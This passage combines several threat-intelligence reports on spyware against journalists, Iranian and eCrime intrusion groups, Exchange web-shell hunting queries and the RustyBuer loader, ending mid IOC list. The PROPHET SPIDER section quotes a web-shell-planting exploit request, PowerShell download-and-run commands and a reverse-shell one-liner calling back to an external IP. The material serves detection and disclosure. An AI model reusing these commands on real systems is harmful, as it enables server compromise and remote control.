London-based Al Araby TV, were hacked with Pegasus spyware. - Amnesty International’s Security Lab verified that Sevinc Vaqifqizi, a freelance journalist for independent media outlet Meydan TV, had his phone infected with Pegasus in early 2021. - Amnesty also confirmed that the devices of Siddharth Varadarajan and MK Venu, co-founders of India’s the Wire, were infected with Pegasus as recently as June 2021. - On August 2, 2021, French intelligence investigators confirmed that forensic traces associated with NSO Group’s Pegasus spyware had been detected on three French journalists’ phones. - In September 2021, the Citizen Lab confirmed that the phone of Dániel Németh, a photojournalist working out of Budapest, was also hacked with Pegasus spyware, with the forensic analysis independently verified by Amnesty’s Security Lab. Prior Citizen Lab research has documented targeted espionage against journalists and civic media using Pegasus spyware in cases involving Saudi Arabia and Mexico. The extensive and routine abuse of Pegasus spyware to hack journalists is a direct threat to press freedom worldwide and is contributing to a growing chilling climate for investigative journalism. As a recent report by the Center for International Media Assistance notes, “the use of spyware poses safety risks to journalists and their sources, encourages self-censorship, and creates new financial and operational strains for news outlets.” Until steps are taken to rein in the mercenary commercial spyware marketplace, repressive governments will continue to exploit products like NSO Group’s Pegasus spyware to undermine independent journalism that seeks to hold them to account.
# CrowdStrike Tracks Reported Iranian Actor as FLYING KITTEN Matt Dahl May 13, 2014 Today, our friends at FireEye released a report on an Iran-based adversary they are calling Saffron Rose. CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since mid-January 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.-based defense contractors as well as political dissidents. ## Flying Kitten Targeted Intrusion FireEye’s report notes that this adversary’s targeted intrusion activity consists of credential theft and malware delivery individually. The FLYING KITTEN campaigns investigated by CrowdStrike Intelligence showed that the actor actually combines the two. For example, the adversary will register a domain that spoofs the name of the targeted organization and then host a spoofed login page on that site. The page is used to steal legitimate credentials, but once users enter the credentials, they are often redirected to a new page that prompts them to download a “Browser Patch” or other similar type of file. The downloaded file is actually the Stealer malware that exfiltrates stolen data to an FTP server. In addition to the aerospace/defense and dissident targeting, it also appears that FLYING KITTEN is also engaged in broader targeting via the website parmanpower.com. This website is registered via the same registrant email ([email protected]) and other Whois information as some of the other domains related to the activity discussed above. It purports to be the website of a business engaged in recruiting, training, and development in Erbil, Iraq. No malicious activity has been linked to this domain; however, the fact that it was registered under the same registrant email at the same time as other FLYING KITTEN domains linked to malicious activity suggests that the adversary is using this site for malicious purposes as well. The website does not appear to deliver any malware, so its most likely purpose is to act as a credential-collection mechanism much like the spoofed Institute of Electrical and Electronics Engineers (IEEE) Aerospace Conference website (aeroconf2014.org) the adversary used earlier this year. This spoofed recruiting company website could be used to target entities across a wide range of sectors. ## Attribution Attribution in this case is interesting, as the adversary appears to have made a mistake when registering its malicious domains. The registrant email that currently appears in the Whois records of some of the FLYING KITTEN domains is [email protected]; however, historical records show that the domains were originally registered under the email address [email protected]. As FireEye’s report notes, the [email protected] email address ties back to an Iran-based entity called Ajax Security Team. Earlier this year, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages. This Internet presence has decreased significantly since early 2014, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity. ## Yara Rules The following Yara rules will provide detection for the adversary remote access toolkit and exfiltration tool: ```yara rule CrowdStrike_FlyingKitten : rat { meta: copyright = "CrowdStrike, Inc" description = "Flying Kitten RAT" version = "1.0" actor = "FLYING KITTEN" in_the_wild = true strings: $classpath = "Stealer.Properties.Resources.resources" $pdbstr = "\Stealer\obj\x86\Release\Stealer.pdb" condition: all of them and uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and uint16(uint32(0x3C) + 0x16) & 0x2000 == 0 and ((uint16(uint32(0x3c)+24) == 0x010b and uint32(uint32(0x3c)+232) > 0) or (uint16(uint32(0x3c)+24) == 0x020b and uint32(uint32(0x3c)+248) > 0)) } ``` ```yara rule CrowdStrike_CSIT_14003_03 : installer { meta: copyright = "CrowdStrike, Inc" description = "Flying Kitten Installer" version = "1.0" actor = "FLYING KITTEN" in_the_wild = true strings: $exename = "IntelRapidStart.exe" $confname = "IntelRapidStart.exe.config" $cabhdr = { 4d 53 43 46 00 00 00 00 } condition: all of them } ``` You can use this rule with CrowdStrike’s free CrowdResponse tool to easily scan your systems for presence of FLYING KITTEN. If you have any questions about these signatures or want to hear more about Flying Kitten and their tradecraft, please contact: [email protected] and inquire about Falcon Intelligence, our Cyber Threat Intelligence subscription.
# PROPHET SPIDER Exploits Citrix ShareFile **Chris Nguyen - Eric Loui** **March 7, 2022** At the start of 2022, CrowdStrike Intelligence and CrowdStrike Services investigated an incident in which PROPHET SPIDER exploited CVE-2021-22941 — a remote code execution (RCE) vulnerability impacting Citrix ShareFile Storage Zones Controller — to compromise a Microsoft Internet Information Services (IIS) web server. The adversary exploited the vulnerability to deploy a webshell that enabled the downloading of additional tools. This incident highlights how PROPHET SPIDER continues to evolve their tradecraft while continuing to exploit known web-server vulnerabilities. ## Background ### PROPHET SPIDER PROPHET SPIDER is an eCrime actor, active since at least May 2017, that primarily gains access to victims by compromising vulnerable web servers, which commonly involves leveraging a variety of publicly disclosed vulnerabilities. The adversary has likely functioned as an access broker — handing off access to a third party to deploy ransomware — in multiple instances. In September 2021, Citrix disclosed a relative path-traversal vulnerability in ShareFile Zones Storage Controller, designated CVE-2021-22941. Shortly thereafter, security researchers demonstrated a proof-of-concept (POC) exploit for the CVE. Based on the known technical details, others were able to reproduce fully weaponized exploits for CVE-2021-22941 that have proliferated since mid-October 2021. The vulnerability allows an adversary to overwrite an existing file on a target server via an uploadid parameter passed in an HTTP GET request. ## Initial Access and Exploitation On Jan. 10, 2022, PROPHET SPIDER sent an HTTP POST request to an IIS server of a CrowdStrike Falcon® platform customer, using the user agent python-requests/2.26.0. The request to /upload.aspx contained the following command: ``` POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0. ``` There are three key components to this request. The URI endpoint /upload.aspx is used for ShareFile uploads and usually comes with parameters to define upload object specifications, such as uploadid, cid or batchid. In this case, the uploadid parameter contained a webshell: ``` uploadid=@using+System.Diagnostics;@{int+idx0=+0;string+str_idx0+=+idx0.ToString();+ ``` This is content that the exploit will write to an ASP.NET file; it uses Razor syntax, where @<keyword> allows a keyword to be used as a variable name, and @{ is used to open a C# code block. The C# Process.Start(cmd,arg); method provides the backdoor function that will be used to execute arbitrary commands. ``` /../../ConfigService\Views\Shared\Error.cshtml ``` This is the relative path traversal that will allow the payload to overwrite the legitimate Error.cshtml page. ``` bp=123&accountid=123 ``` These are parameters that are expected by the upload function and included to prevent an error from occurring. Additionally, these values match the default characters used in the previously mentioned publicly available CVE-2021-22941 exploit. Analysts looking for evidence of attempted CVE-2021-22941 exploitation can examine IIS access logs for web requests that: - Target upload.aspx - Contain encoded strings for ../ and ConfigService\Views\Shared\Error.cshtml in the URL parameters - May contain &bp=123&accountid=123 if the attacker has not customized the payload Once the webshell is set, it can be accessed by sending an HTTP request to /configservice/Home/Error with one or two URL parameters. ASP.NET will direct these requests to Error.cshtml, which usually contains a simple HTML header saying “Sorry, an error occurred while processing your request.” Due to the exploit, the contents have been replaced with the C# code block and will invoke Process.Start(cmd.arg) using the URL parameter(s) passed in the GET request. ## Post-exploitation Commands After achieving initial access, PROPHET SPIDER used the following command to test connectivity: ``` CMD.exe /C nslookup xab8v404gwftvw5nvw95ig6ybphf54.burpcollaborator[.]net ``` If successful, this command performs a name lookup on a subdomain of burpcollaborator[.]net, which the open-source vulnerability-testing tool BurpSuite can check to confirm responding systems. The adversary next attempted to execute encoded PowerShell commands that decoded to: ``` powershell -Command (New-Object System.Net.WebClient).DownloadFile('http[:]//45.61.136[.]39:443/wget[.]bin','C:\Window cmd /c c:\Windows\temp\wget.bin -t 1 http[:]//45.61.136[.]39:443/winn.exe -O c:\windows\temp\wi.exe ``` These commands attempted to download the legitimate wget utility from a remote IP address, then attempted to use wget to download another remote binary, named winn.exe. The winn.exe download was unsuccessful. The adversary then attempted to install an open-source reverse shell from GitHub: ``` powershell -Command IEX(IWR https[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 107.181.187[.]184 -RemotePort 4242 -Rows 44 -Cols 166 ``` This payload attempted to load the ConPtyShell reverse shell directly from GitHub, with parameters to connect back to the IP address 107.181.187[.]184 over TCP port 4242. ## Conclusion As CrowdStrike Intelligence previously reported, PROPHET SPIDER is an opportunistic eCrime actor that exploits publicly disclosed server vulnerabilities, often to deliver webshells. This recent CVE-2021-22941 exploitation demonstrates the adversary’s willingness to operationalize new and different exploit code, as well as their enduring preference for deploying the wget utility to begin operations. ## Indicators of Compromise (IOCs) | Description | IP Addresses | |-----------------------------------------------------|-----------------------------| | Site hosting wget.bin and winn.exe | 45.61.136[.]39 | | Callback destination for ConPtyShell reverse shell | 107.181.187[.]184 | | Source observed exploiting CVE-2021-22941 | 188.119.149[.]160 | | Site hosting ConPtyShell reverse shell | hxxps[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 | ## MITRE ATT&CK® Observed Tactics | Tactic | Description | |------------------------------|--------------------------------------------------| | Initial Access | T1190: Exploit Public Facing Application | | Execution | T1059.001: Command and Scripting Interpreter: PowerShell | | Persistence | T1505.003: Server Software Component: Web Shell | | Command and Control | T1071: Application Layer Protocol | | | T1105: Ingress Tool Transfer |
# Web Shell Threat Hunting with Azure Sentinel In this blog post, we will provide Microsoft Azure Sentinel customers with hunting queries to investigate possible on-premises Exchange Server exploitation and identify additional attacker IOCs (Indicators of Compromise) such as IP address and User Agent. These hunting techniques can also be applied to web shell techniques targeting other web applications. The techniques discussed below have been adapted from the June 2020 blog post: Web shell threat hunting with Azure Sentinel and Microsoft Threat Protection. The previous blog post analyzed an attack against a SharePoint server; however, many of the techniques can also be applied to Exchange servers since it also uses IIS to host its web interfaces. Recent vulnerabilities in on-premises Microsoft Exchange servers have led to the deployment of web shells by threat actors. More information on these vulnerabilities can be found in the MSRC blog, and details on threat actor HAFNIUM using these vulnerabilities can be found in the MSTIC blog. MSRC has also provided guidance for responders, a one-click tool for remediation, and automatic remediation is delivered through Microsoft Defender for Endpoint. Our colleagues in Microsoft Defender Threat Intelligence have authored another blog that provides additional details on the use of web shells in attacks taking advantage of the Exchange Server. ## Investigating Web Shell Alerts Microsoft 365 Defender (M365D) detects web shell installation and execution activity. Security alerts and incidents generated by M365D can be written to the SecurityAlert table in Azure Sentinel by enabling the appropriate connector. An example of a web shell installation alert in the Azure Sentinel SecurityAlert table can be seen below. These alerts can be enriched in Azure Sentinel with new information from other log sources. When dealing with remote attacks on web application servers, one of the best enrichment sources available is the web logs that have been generated. In the case that the application server is Microsoft Exchange, the W3CIISLog can be used to enrich M365D alerts with potential attacker information. Information on collecting IIS logs using the Log Analytics agent can be found in the documentation. ### Identifying the Attacker IP Address from Microsoft 365 Defender Alerts The query below extracts alerts from M365D where a web script file has been observed as part of the alert. In the below example, alerts containing ASP, ASPX, ASMX, and ASAX files will be extracted; these are web script files commonly used by Exchange servers. ```kusto let timeWindow = 3d; let scriptExtensions = dynamic([".asp", ".aspx", ".asmx", ".asax"]); SecurityAlert | where TimeGenerated > ago(timeWindow) | where ProviderName == "MDATP" | extend alertData = parse_json(Entities) | mvexpand alertData | where alertData.Type == "file" | where alertData.Name has_any(scriptExtensions) | extend FileName = tostring(alertData.Name), Directory = tostring(alertData.Directory) | project TimeGenerated, FileName, Directory | join ( W3CIISLog | where TimeGenerated > ago(timeWindow) | where csUriStem has_any(scriptExtensions) | extend splitUriStem = split(csUriStem, "/") | extend FileName = splitUriStem[-1] | summarize StartTime=min(TimeGenerated), EndTime=max(TimeGenerated) by AttackerIP=cIP, AttackerUserAgent=csUserAgent, SiteName=sSiteName, ShellLocation=csUriStem, tostring(FileName) ) on FileName | project StartTime, EndTime, AttackerIP, AttackerUserAgent, SiteName, ShellLocation ``` ### Identifying Exchange Servers & Associated Security Alerts Exchange servers can be challenging to identify in default log data; however, using data available in W3CIISLog, Exchange servers can be identified using predictable URI strings without relying on the hostname or site name. The query below extracts the hostname from W3CIISLog where a known Exchange URI path is observed, providing a list of hostnames that are running Exchange. This list of hostnames can then be used to aggregate information from the alerts in the SecurityAlert table. ```kusto W3CIISLog | where csUriStem has_any("/owa/auth/", "/ecp/healthcheck.htm", "/ews/exchange.asmx") | summarize by computer=tolower(Computer) | join kind=leftouter ( SecurityAlert | extend alertData = parse_json(Entities) | mvexpand alertData | where alertData.Type == "host" | extend computer = iff(isnotempty(alertData.DnsDomain), tolower(strcat(tostring(alertData.HostName), ".", tostring(alertData.DnsDomain))), tolower(tostring(alertData.HostName))) | summarize Alerts=dcount(SystemAlertId), AlertTimes=make_list(TimeGenerated), AlertNames=make_list(AlertName) by computer ) on computer | project ExchangeServer=computer, Alerts, AlertTimes, AlertNames ``` The results of the query provide insights into whether additional security alerts beyond web shell alerts have been observed on the host. Following the deployment of a web shell, it’s highly likely the threat actor will begin to execute further commands on the server, triggering additional alerts. This same technique can be used to locate other web applications within the network that use common or predictable web paths. ### W3CIISLog Analysis W3CIISLog provides detailed logging on actions performed on Microsoft Internet Information Servers (IIS). Even when an Endpoint detection alert is not available, it is possible to explore W3CIISLogs for indicators of compromise. W3CIISLog can also provide additional insights into which hosts in the network are web application servers. #### Identifying Generic Exploitation Activity If the URI associated with the vulnerable file on the server is known, a query can be constructed to identify log entries that match the URI pattern. W3CIIS logging stores the URI in the column named “csUriStem.” The below query can be used to search for a specific URI in logs and provide information on which clients have accessed them. ```kusto W3CIISLog | where TimeGenerated > ago(3d) | where not(ipv4_is_private(cIP)) | where csUriStem =~ "/owa/auth/x.js" | project TimeGenerated, sSiteName, csMethod, csUriStem, sPort, cIP, csUserAgent ``` For HAFNIUM attacks observed by MSTIC, an indicator feed has been made available (CSV, JSON). A detection query that will check for the presence of indicators in multiple data sources has also been made available by the Azure Sentinel team. The recent Exchange vulnerabilities do not need to be targeted at a specific file. Analysis of automated exploitation tools online shows that many randomize the filenames used; this means that no legitimate user will visit these files as they do not exist on the server. As these filenames are randomly generated, static string matching cannot be used. The Kusto “matches_regex” function can be used to perform regular expression matching on URIs. The below example extracts events where the URI matches files associated with the exploitation of CVE-2021-27065 from W3CIISLog. ```kusto W3CIISLog | where TimeGenerated > ago(3d) | where not(ipv4_is_private(cIP)) | where (csUriStem matches regex @"\/owa\/auth\/[A-Za-z0-9]{1,30}\.js") or (csUriStem matches regex @"\/ecp\/[A-Za-z0-9]{1,30}\.(js|flt|css)") | project TimeGenerated, sSiteName, csMethod, csUriStem, sPort, cIP, csUserAgent ``` The previous queries can be limited when the files being exploited are commonly accessed. They would produce many candidate attacker IP addresses, making analysis challenging. Using the recent Exchange vulnerabilities as an example, Microsoft has seen malicious automated tools released publicly that are being used to exploit the Exchange vulnerabilities. These tools are designed to only visit specific URIs on the server that are required to perform the exploit. This activity differs from normal and legitimate Administrator or User application browsing activity and, if observed, should be investigated. It is possible to craft a query that uses basic statistical analysis to identify instances where a client has visited a disproportionately high number of exploit-related URIs when compared to other URIs on the site. The query below calculates the total number of suspicious URIs that have been visited by each user; it then calculates the total number of URIs visited by the user. Where the number of exploit-related URIs is a significant proportion of URIs visited, a result is returned. By default, the query requires over 90% of the URIs visited by the user to be suspicious. ```kusto let timeRange = 7d; W3CIISLog | where TimeGenerated > ago(timeRange) | where not(ipv4_is_private(cIP)) | where (csUriStem matches regex @"\/owa\/auth\/[A-Za-z0-9]{1,30}\.js") or (csUriStem matches regex @"\/ecp\/[A-Za-z0-9]{1,30}\.(js|flt|css)") or (csUriStem =~ "/ews/exchange.asmx") | extend userHash = hash_md5(strcat(cIP, csUserAgent)) | summarize susCount=dcount(csUriStem), make_list(csUriStem), min(TimeGenerated), max(TimeGenerated) by userHash, cIP, csUserAgent | join kind=leftouter ( W3CIISLog | where TimeGenerated > ago(timeRange) | where not(ipv4_is_private(cIP)) | extend userHash = hash_md5(strcat(cIP, csUserAgent)) | summarize allCount=dcount(csUriStem) by userHash ) on userHash | extend containsDefault = iff(list_csUriStem contains "/ews/exchange.asmx", 1, 0) | extend result = iff(containsDefault == 1, containsDefault + susCount, 0) | where result != 2 | extend susPercentage = susCount / allCount * 100 | where susPercentage > 90 | project StartTime=min_TimeGenerated, EndTime=max_TimeGenerated, AttackerIP=cIP, AttackerUA=csUserAgent, URIsVisited=list_csUriStem, suspiciousPercentage=susPercentage, allUriCount=allCount, suspiciousUriCount=susCount ``` While this query is designed to detect recent Exchange exploit activity, it can be easily adapted to other exploit chains if the pages or URIs used are known. ### Rare Client File Access A previously published hunting query can be used to detect instances where resources on a server are requested by a single client—a behavior that should be investigated in the context of web shell exploits. After the actor creates a web shell on the server, it’s likely that they will be the only user to access the file to complete their intended objective. ### Investigating the Attacker In the previous blog post covering SharePoint exploitation, a Jupyter Notebook Guided Investigation is provided. This notebook can also be used to investigate on-prem Exchange compromises within your environment. The notebook extracts alerts from Microsoft 365 Defender related to web shell activity; these can then be enriched with information from W3CIIS to identify the attacker IP and User Agent. The attacker’s IP and User Agent can be used to hunt through multiple log sources for potential post-compromise activity. After the attacker details have been identified, the notebook can be used to locate files that were accessed by the attacker prior to the web shell being installed. The notebook will also locate the first instance that the attacker visited the server.
# New Variant of Buer Loader Written in Rust **April 30, 2021** **Kelsey Merriman, Bryan Campbell, Selena Larson, and the Proofpoint Threat Research Team** ## Overview Proofpoint researchers identified a new variant of the Buer malware loader distributed via emails masquerading as shipping notices in early April. Buer is a downloader sold on underground marketplaces that is used as a foothold in compromised networks to distribute other malware, including ransomware. Proofpoint first observed Buer in 2019. In the associated campaigns, the emails purported to be from DHL Support. They contained a link to a malicious Microsoft Word or Excel document download that used macros to drop the new malware variant. Proofpoint is calling this new variant RustyBuer. The emails impacted over 200 organizations across more than 50 verticals. The new strain is completely rewritten in a coding language called Rust, a departure from the previous C programming language. It is unusual to see common malware written in a completely different way. ## Key Findings - The new Buer variant is written in Rust, an efficient and easy-to-use programming language that is becoming increasingly popular. - Proofpoint is calling this variant RustyBuer. - Rewriting the malware in Rust enables the threat actor to better evade existing Buer detection capabilities. - Proofpoint observed RustyBuer campaigns delivering Cobalt Strike Beacon as a second-stage payload in some campaigns. - Researchers assess some threat actors may be establishing a foothold with the Buer loader to then sell access to other threat actors. This is known as “access-as-a-service.” ## Campaign Details Proofpoint analysts observed a series of malicious campaigns that delivered the Buer malware loader. The campaigns generally used DHL-themed phishing emails to distribute malicious Word or Excel documents. While sharing similar email lure themes, the campaigns distributed two distinct variants of the Buer malware: one was written in C while the other was rewritten in the Rust programming language. Proofpoint dubbed this variant RustyBuer. The campaigns also used different lure techniques, with RustyBuer attachments containing more detailed content to better engage the recipient. The rewritten malware, and the use of newer lures attempting to appear more legitimate, suggest threat actors leveraging RustyBuer are evolving techniques in multiple ways to both evade detection and attempt to increase successful click rates. RustyBuer was embedded directly into the document macro and required user interaction to initiate the infection. This macro leveraged an Application Bypass (Windows Shell DLL via LOLBAS) to evade detection from endpoint security mechanisms. **Example Script execution:** ``` rundll32.exe shell32.dll,ShellExec_RunDLL C:\ProgramData\OfficeSignCheck.exe ``` Once RustyBuer is dropped, it establishes persistence by using a shortcut (.LNK) file which runs at startup. All the identified campaigns used consistent naming conventions following the inclusion of “Office” in the dropped executable. Both the Rust and C versions of the malware followed this same pattern including: 1. OfficeVerifySign.exe 2. Office_WorkForWestBank.exe 3. OfficeReleaseFix.exe 4. OfficeConsultPlugin.exe Proofpoint researchers observed RustyBuer distributing Cobalt Strike Beacon as a second-stage payload in some instances, like previous Buer campaigns. Cobalt Strike is a legitimate security tool used by penetration testers to emulate adversary activity in a network that is becoming increasingly popular as a tool for threat actors. However, not all identified campaigns contained a second-stage payload. Researchers assess this may be due to threat actors in some specific instances operating as access-as-a-service providers. These threat actors may be attempting to establish initial access in victim environments to then sell their access to other threat actors in underground marketplaces. Other security firms have documented this behavior from threat actors using Buer loader previously. ## Malware Analysis Proofpoint classified the new variant of Buer (RustyBuer) as a rewritten version in Rust based on present anti-analysis features, strings, and encoding and format of the command and control (C2) requests. It is unclear why the threat actors took the time and effort to rewrite the malware in a new programming language, however Proofpoint researchers identify two likely reasons: 1. Rust is an increasingly popular programming language that is more efficient and has a broader feature set than C. 2. Rewriting the malware in Rust can enable the threat actor to evade existing Buer detections that are based on features of the malware written in C. The malware authors have programmed it in a way that it should maintain compatibility with existing Buer backend C2 servers and panels. ## Anti-analysis features - Checks for virtual machines - Checks locale to make sure the malware is not running in specific countries ## Command and Control The C2 requests are nearly identical to the requests used in the latest version of Buer. The C2 functions are handled via HTTP(S) POST requests. The initial POST request will be sent with POST data delimitated by the "&" and "=" characters. The POST request contains both pseudorandom characters and encrypted information about the compromised system. These request parameters are encrypted. They can be decrypted by: 1. Base64 decoding 2. Hex decoding 3. RC4 decryption (the key used in the analyzed samples was “kpM5WOtfo”) The decrypted plaintext parameter contains pipe-delimited data consisting of: - Bot ID (SHA-256 hex digest of various system parameters such as hardware profile GUID and name, computer name, volume serial number, and CPUID) - An SHA-256 hash of its own executable image - Windows version - Architecture type - Number of processors - User privileges - Computer name - Space used / total (suspected) - AD Domain - User name The response beacon can be decrypted similarly to the request parameter above, except that the hex-encoded bytes are separated by dash characters. As with Buer, the JSON object returned in the beacon response contains various options on how to download and execute a payload. ## Conclusion Despite existing since 2019, the new variant of Buer loader malware suggests threat actors continue to modify their payloads in a likely attempt to evade detection. When paired with the attempts by threat actors leveraging RustyBuer to further legitimize their lures, it is possible the attack chain may be more effective in obtaining access and persistence. RustyBuer and the original Buer loader have been observed as a first-stage loader for additional payloads including Cobalt Strike and multiple ransomware strains, as well as possibly providing victim access to other threat actors in the underground marketplace. Proofpoint anticipates this activity will continue. Based on the frequency of RustyBuer campaigns observed by Proofpoint, researchers anticipate we will continue to see the new variant in the future. ## Indicators of Compromise (IOCs) | IOC | IOC Type | Description | |----------------------------------------------------------------------------------------------|----------|----------------------| | Serevalutinoffice[.]com | Domain | C&C (RustyBuer) | | orderverification-api[.]com | Domain | C&C (RustyBuer) | | Gerstaonycostumers[.]com | Domain | C&C (RustyBuer) | | authcert-ca[.]com | Domain | C&C (RustyBuer) | | documentssign-api[.]com | Domain | C&C (RustyBuer) | | docusigner-api[.]com | Domain | C&C (RustyBuer) | | Miyfandecompany[.]com | URL | C&C (RustyBuer) | | https://cembank-api[.]com | URL | C&C (RustyBuer) | | http://213.252.244[.]114/ayhtvcgcfcfrgcdxdxdrcrhj | Payload | Cobalt Strike Payload | | 213.252.244[.]114 | IP | Cobalt Strike C&C | | https://techlog[.]xyz/page.icore | URL | Buer Payload | | [email protected][.]uk | Email | Sender | | Hernandez@ubstreasury[.]biz | Email | Sender | | [email protected][.]uk | Email | Sender | | Patterson@ubstreasury[.]biz | Email | Sender | | Campbell@rockyourstay[.]net | Email | Sender | | Henderson@fossilqwanderer[.]org | Email | Sender | | Powell@onlinefundraisingtoday[.]org | Email | Sender | | Evans@onlinefundraisingtoday[.]org | Email | Sender | | Brooks@fossilqwanderer[.]org | Email | Sender | | Edwards@sun988info[.]com | Email | Sender | | A061180b16f89099da6d34c5a3976968c19a3977c84ce0711ddfef6f7c355cac | SHA256 | 2021-04-12 Sample | | 3abed86f46c8be754239f8c878f035efaae91c33b8eb8818c5bbed98c4d9a3ac | SHA256 | 2021-04-19 Sample | **ET Signatures** 2848365 - RustyBuer Checkin
# Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors **By Or Chechik, Tom Fakterman, Daniel Frank, and Assaf Dahan** **November 6, 2023** ## Executive Summary Unit 42 researchers have investigated a series of destructive cyberattacks beginning in January 2023 and continuing as recently as October 2023, targeting the education and technology sectors in Israel. The attacks are characterized by attempts to steal sensitive data, such as personally identifiable information (PII) and intellectual property. Once the attackers stole the information, they deployed various wipers intended to cover the attackers’ tracks and to render the infected endpoints unusable. Our investigation revealed the perpetrators of the attacks have strong connections to an Iranian-backed APT group Unit 42 tracks as Agonizing Serpens (aka Agrius, BlackShadow, Pink Sandstorm, DEV-0022). Unit 42 researchers were also able to identify novel new wipers and tools that Agonizing Serpens used in their most recent attacks: - MultiLayer wiper - PartialWasher wiper - BFG Agonizer wiper - Sqlextractor - a custom tool to extract information from database servers Based on forensic evidence, it appears that the Agonizing Serpens APT group has recently upgraded their capabilities and they are investing great efforts and resources to attempt to bypass endpoint detection and response (EDR) and other security measures. To do so, they have been rotating between using different known proof of concept (PoC) and pentesting tools as well as custom tools. For the attacks described below, the attacker was unsuccessful at bypassing Cortex XDR. Cortex XDR and XSIAM detect and prevent the execution flow described. They also build behavioral profiles of user activity over time with machine learning, allowing them to detect anomalous activity indicative of, for example, credential-based attacks. We are sharing this research to provide detection, prevention, and hunting recommendations to help organizations protect against the threats associated with Agonizing Serpens. ## Who Is the Agonizing Serpens APT Group? Agonizing Serpens (aka Agrius) is an Iranian-linked APT group that has been active since 2020. The group is known for its destructive wiper and fake-ransomware attacks and mainly targets Israeli organizations across multiple industries and countries. Though earlier reports of these attacks mentioned ransomware and ransom notes, these turned out to be a ruse. In the most recent attacks, the attackers did not request ransom – rather, the potential result of the attacks was vast data loss and disruptions of business continuity. Attacks from Agonizing Serpens usually have two main goals: the first being stealing sensitive information that includes PII and intellectual property, which threat actors then publish on social media or Telegram channels. It seems likely that their motivation to publish on social media is to sow fear or inflict reputational damage. The second goal is wreaking havoc and inflicting considerable damage by wiping as many endpoints as possible. Since its emergence, the group has developed new custom tools and they have also leveraged known hacking tools and techniques to carry out their aggressive operations. ## Technical Analysis The following sections detail the different stages of a recent incident carried out by Agonizing Serpens in October 2023, as analyzed by Unit 42 researchers. ### Entry Vector The attackers gained initial access to the environment by exploiting vulnerable internet-facing web servers. Subsequently, they deployed multiple web shells, which granted them a foothold in the network. The web shells that threat actors used in the described attack contain the same code as web shells that were observed in previous Agonizing Serpens attacks, with variations to the naming of functions. ### Reconnaissance To map out the network, the attackers used various known and publicly available scanners: - **Nbtscan**: The attackers used Nbtscan, renamed as systems.txt, to scan the network for existing hosts. - **WinEggDrop**: An open-source SYN/TCP port scanner used to scan particular hosts of interest. - **NimScan**: Another publicly available port scanner that the attackers used in the attack. ### Credential Stealing A crucial phase of the attack consisted of obtaining credentials of users with administrative privileges. To do so, the attackers tried multiple methods to obtain credentials, which were prevented by the Cortex XDR platform: - Mimikatz (filename: Mimi.exe) - SMB password spraying - SMB password brute force - Dumping the SAM file ### Lateral Movement To move laterally in the environment, the attackers mostly used Plink (renamed as systems.exe) to create remote tunneling and establish connections to remote machines. ### Stealing and Exfiltrating Data Attackers attempted to steal information from databases and other critical servers before executing wipers to cover their tracks. They then tried to exfiltrate this information to the attackers’ C2 servers, using different publicly available tools such as WinSCP and Putty. #### Extracting Database Information Using Sqlextractor The attackers used a custom tool they named sqlextractor (binary name sql.net4.exe). Its purpose is to query SQL databases and extract sensitive PII data, such as: - ID numbers - Passport scans - Emails - Full addresses The data was saved into CSV files. The tool writes the data to a hard-coded staging path: C:\windows\temp\s. ### Wiper Payloads During the incident, the attackers attempted to use three separate wipers as part of the destructive attack. While some of the wipers show code similarities to previously reported wipers the Agonizing Serpens group used, others are considered brand new. #### MultiLayer Wiper The first wiper that the attackers used is .NET malware called MultiLayer. As its name suggests, this wiper contains multiple layers and stages. Its compilation date is set to a future date, indicating metadata manipulation. MultiLayer drops and executes additional binaries, then deletes them right after their execution. #### PartialWasher Wiper The second wiper, PartialWasher, is written in C++. It supports command-line arguments and can perform individual wiping tasks at the request of its operators. #### BFG Agonizer Wiper The third wiper, BFG Agonizer, shows many code similarities to an open-source project called CRYLINE-v5.0. Before the wiper commences its wiping activity, it attempts to circumvent security measures that might exist on the infected endpoint. ### Attempted Anti-EDR Activity During the attack, the group specifically attempted to bypass EDR solutions to carry out their attack uninterrupted and with greater stealth. These attempts were blocked by the Cortex XDR platform. The group tried multiple tools and techniques, and each time they failed with one, they tried to leverage another. ### Attribution Based on the Unit 42 attribution model, we assess with a high level of confidence that the attacks described in this article were carried out by the Iranian-linked Agonizing Serpens APT group. This assessment is based on multiple code similarities in wipers, code similarity in web shells, the destructive nature of the attacks, and targeting Israeli organizations. ## Conclusion In this article, we provided a deep dive analysis of a recent destructive wiper attack carried out by the Iranian-linked Agonizing Serpens APT group. This attack is part of a broader offensive campaign that targets Israeli organizations, particularly in the education and technology sectors. Our investigation uncovered new tools in the group’s arsenal that include a set of three previously undocumented wipers, as well as a database extractor tool. Analysis of the new wipers revealed that the group has upgraded their capabilities, putting an emphasis on stealth and evasive techniques designed to bypass security solutions such as EDR technology. ## Protections and Mitigations Palo Alto Networks customers receive protection from the different tools that were observed during the recent Agonizing Serpens campaign. The Cortex XDR and XSIAM platforms detect and prevent the execution flow described in the previous sections. They also offer protections related to the attacks discussed in this post, including preventing the execution of known malicious malware and protecting against credential gathering tools and techniques. If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: - North America Toll-Free: 866.486.4842 (866.4.UNIT42) - EMEA: +31.20.299.3130 - APAC: +65.6983.8730 - Japan: +81.50.1790.0200 ## Indicators of Compromise - **Web shells**: - Uploader.aspx: 1ea4d26a31dad637d697f9fb70b6ed4d75a13d101e02e02bc00200b4235 - xcopy.aspx: 62e36675ed7267536bd980c07570829fe61136e53de3336eebadeca56ab060c2 - css.aspx: abfde7c29a4a703daa2b8ad2637819147de3a890fdd12da8279de51a3cc0d96d - **Nbtscan**: 63d51bc3e5cf4068ff04bd3d665c101a003f1d6f52de7366f5a2d9ef5cc041a7 - **WinEggDrop**: 49c3df62c4b62ce8960558daea4a8cf41b11c8f445e218cd257970cf939a3c25 - **NimScan**: - 